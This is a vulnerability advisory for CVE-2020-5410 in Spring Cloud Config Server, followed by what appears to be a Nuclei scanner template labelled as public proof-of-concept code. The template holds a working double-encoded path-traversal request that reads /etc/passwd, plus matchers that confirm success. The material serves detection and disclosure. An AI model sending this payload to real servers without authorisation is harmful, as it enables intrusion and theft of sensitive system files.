Spring Cloud Config Server versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user or attacker can send a request using a specially crafted URL that can lead to a local file inclusion attack.
PoC代码[已公开]
id: CVE-2020-5410
info:
name: Spring Cloud Config Server - Local File Inclusion
author: mavericknerd
severity: high
description: Spring Cloud Config Server versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user or attacker can send a request using a specially crafted URL that can lead to a local file inclusion attack.
impact: |
An attacker can exploit this vulnerability to read arbitrary files from the server, potentially leading to unauthorized access or sensitive information disclosure.
remediation: |
Upgrade to a patched version of Spring Cloud Config Server or apply the recommended security patches.
reference:
- https://tanzu.vmware.com/security/cve-2020-5410
- https://nvd.nist.gov/vuln/detail/CVE-2020-5410
- https://github.com/Live-Hack-CVE/CVE-2020-5410
- https://github.com/tdtc7/qps
- https://github.com/alphaSeclab/sec-daily-2020
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2020-5410
cwe-id: CWE-23,CWE-22
epss-score: 0.94346
epss-percentile: 0.99952
cpe: cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: vmware
product: spring_cloud_config
tags: cve,cve2020,lfi,springcloud,config,traversal,kev,vmware
http:
- method: GET
path:
- "{{BaseURL}}/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022100a2f99add30bc9e619b0ddddf729db06d9fff93340e1f2ae51eed27a30660046f02206c2f311d30f31e2a5fa4f201e814a50f8c9f4225fc1bad06e17bee7da5830134:922c64590222798bb761d5b6d8e72950